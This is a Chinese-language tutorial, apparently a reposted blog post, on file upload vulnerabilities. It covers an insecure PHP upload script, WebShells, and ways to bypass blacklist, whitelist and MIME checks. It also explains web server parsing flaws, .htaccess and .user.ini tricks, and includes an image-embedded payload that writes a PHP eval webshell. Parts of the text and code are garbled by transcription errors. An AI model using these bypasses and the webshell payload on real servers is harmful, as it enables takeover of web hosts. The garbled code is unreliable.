标签:原理 后台 空格 程序 mp3 中间 隐藏 应用 upload
? web应用程序在处理用户上传的文件操作时,如果用户上传的文件的路径、文件名、扩展名成为用户可控数据,就会导致直接上传脚本木马到web服务器,直接控制web服务器
? 文件上传:文件上传功能本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做得不够安全,则会导致严重的后果。
文件上传的php代码
<?php
header( "Content -type: text/html; charset=utf-8");
$upload_ dir = ‘ ./upload/‘.$_ FILES[ ‘upfile‘][‘name‘];
if (move_ uploaded_ file($_ FILES[‘upfile‘ ][‘tmp_ name‘], $upload_ dir ))
{
echo”上传成功"."<br />";
print ($upload_ _dir);
}
?>
应用在文件上传时根本没有进行文件格式检查,导致攻击者可以直接上传恶意文件。或应用仅仅在客户端进行了检查,而在专业的攻击者眼里几乎所有的客户端检查都等于没有检查,攻击者可以通过NC,Fiddler等断点上传工具绕过客户端的检查
一些应用在服务器端进行了完整的黑名单和白名单过滤,在修改已上传文件文件名时却百密一疏,允许用户修改文件后缀。如应用只能上传.doc文件时,攻击者可以先将.php文件后缀修改为.doc,成功上传后修改文件文件名时将后缀改回.php。
好多应用都引用了带有文件。上传功能的第三方插件,这些插件的文件上传功能实现上可能有漏洞,攻击者可通过这些漏洞进行文件上传攻击。
如著名的博客平台WordPress就有丰高的插件,而这些插件中每年都会被挖掘出大量的文件上传漏洞。
(1)上传文件是Web脚本语言,服务器的Web容器解释并执行了胪上传的脚本,导致代码执行。
(2)上传文件 是Flash的策略文件crossdomain.xml,客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);
(3)上传文件是病毒、 构文件,客用以诱骗用户或者管理员下载执行。
(4)上传文件是钓图片或为包含了脚本的图片,在煤些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
(5)上传文件是WebShelI时,击可通过这些网页后]执行命令并控制服务器。
(任何可以上传文件的地方,都可能存在文件上传漏洞)
头像、网站logo、友情连接处、编辑器、后台中的文件管理、模板管理、主题管理、插件管理、水印图片处、可以上传图片、添加商品、上传简历、jQuery-File-Upload等
●服务器配置不当
●开源编辑器的上传漏洞
●本地文件.上传限制被绕过
●过滤不严或被绕过
●文件解析漏洞 导致文件执行
●文件路径截断
BurpSuite需要配置java环境
BurpSui te的核心功能,拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,修改,重放在两个方向上的原始数据流。
Webshell就是以asp、php、 jsp或者cgi等网页文件形式存在的一 种命令执行环境,也可以将其称
做为一种网页后门。拆分开来看,”"web"的含义显然是服务器开放的web服务,"hell"的含 义是取得对服务器某种程度上操作权限。由于webshell期多是以动态脚本的形式出现,也有人称之为网站的后门工具。
一方面,webhell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传 下载文件、查看数据库执行任意程序命令等。另一面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为WEB脚本木马,比较流行的asp或php马,也有基于.NET的脚本杩与JSP脚本木马。
(1) WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用服务器漏洞进行隐藏,如"..录就可以达到,站长从FTP中找到的是含有"."的文件夹,且没有权限删除,还有一些隐藏的WEBSHELL,可以隐藏于正常文件带参数运行脚本后门。
(2) webshell可以穿越服务器防火墙,于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并组使用webshell- 般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
没有过滤:没有对上传的文件做任何的过滤又叫做任意文件上传
前端过滤:前端过滤等于没有过滤
文件类型校验就是指HTTP头中的Content-Type,在服务器端进行校验。
Content-Type:也叫互联网媒体类型(Intemet Media Type)或者MIME 型,在HTP协议消息头中,它用来表示具体请求中的媒体类型信息。
例如:
text/html代表HTML格式
image/gif代表GIF片
lmage/png代表GIF明
application/octet-stream二进制流, 不知道文件类型(PHP)
application/json代表JSON型
根据文件后缀名判断文件是否允许上传,程序会把不允许上传的文件列到一个小本本里,一旦发现上传的文件在小本本中就马上制止。
畸形后缀名
1)上传shell.php
2)NTFS ADS特性
? 上传shell.php::$DATA
? 上传test.jpg..
? 上传1.php<>之类的后缀名
? 上传1.php:.jpg
? 1.php:jpg这类文件在上传后,在Windows中会被保存为-个空的1.php文件,然可以再上传一个1.php<>或者1.php<<或者其他Windows不允许的后缀,就会覆盖前边那个空的1.php
大小写、双写、结合Apache解析漏洞、.htaccess、.user.ini等
? 使用白名单限制上传文件类型,通过检测文件内容判断文件类型,限制上传文件只能为一些无危害的文件,包括但不限于: jipg、 png、 bmp、txt、 zip、 rar、 mp3等例如:比如:在用户头像的地方,我们只允许上传图片类型的文件。那么就可以通过以下的方式来检测:
1、前端判断
2、文件类型判断
3、后缀名判断
4、文件内容
针对白名单,使用的绕过手法:
1)00截断
2)解析漏洞
3)文件包含
4)条件竞争上传
Web服务器处理多用户请求时,是并发进行的,如果并发处理不当或者是相关的逻辑操作设计的不合理时,就可能导致条件竞争漏洞。
由于Apache识别文件的规则是根据后缀名从右往左进行识别,遇到不在识别范围内就会自动忽略,往左进行识别,如果左边是在解析范围内的就会正常解析,而-般程序进行判断文件是否允许上传是根据最后的后缀名进行判断的。
存在于老版本中:Apache2.0 Apache2.2存在解析漏洞
(1) .htaccess (超文本访问)许多Web服务器根据目录应用设置的有脑件,允许在运行时覆盖Apache服务器的默认配置。
(2) .htaccess是一 个完整的文件名, 不仅仅文件的扩名。
如果.htaccss的代码如下:
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
对于任意文件名,在后面加上/任意文件名php后该文件就会以php格式进行解析,用户配置不当造成的
Nginx版本: 0.5,0.6,0.7 <=0.7.65,0.8 <= 0.8.37
需要很老的版本才可以,00截断也和php版本有关系。
Nginx版本: 0.8.41~1.4.3, 1.5<=1.5.7
使用方法:
(1) . 上传文件名如: 1.jpg空格
(2)问例如: 1.jp..php .
(3)访问的时候抓包,修改后缀为1.jpg[0x20][0x00][0x2e]php (使用burp修改, 调整hex即呵)
(4)修改后进行访问就会发现ipg劉会被当做php解析
使用条件:
(1)服务器脚本语言为PHP服务器使用CGI / FastCGI模式
(2)上传目录下要有可执行的php文件 例如: PHP study中使用nginx中间件的时候就可以进行实验。
使用方式:
(1)上传一张图片
(2)上传 .user.ini文件。内容为:auto_prepend_file=2.png (这一句即可)
(3)访问: htp://P/pload/2.png/xx.php (目录中存在的一个php文件)
(1)目录解析 www.xxx.com/xx.asp/xx.jpg
(2)文件解析 www.xxx.com/xx.asp;jpg
Upload/1.jpg/* .php
我们把下面的代码,插入到-张图片中。
<?php fputs(fopen(‘shell.php‘,‘w"),‘<?php @eval(S_ POST[x])?>‘)?>
那么,访问x.x.x/upload/1.jpg/.php,就会在当前目录生成一个木马
标签:原理 后台 空格 程序 mp3 中间 隐藏 应用 upload
原文地址:https://www.cnblogs.com/thresh/p/13351774.html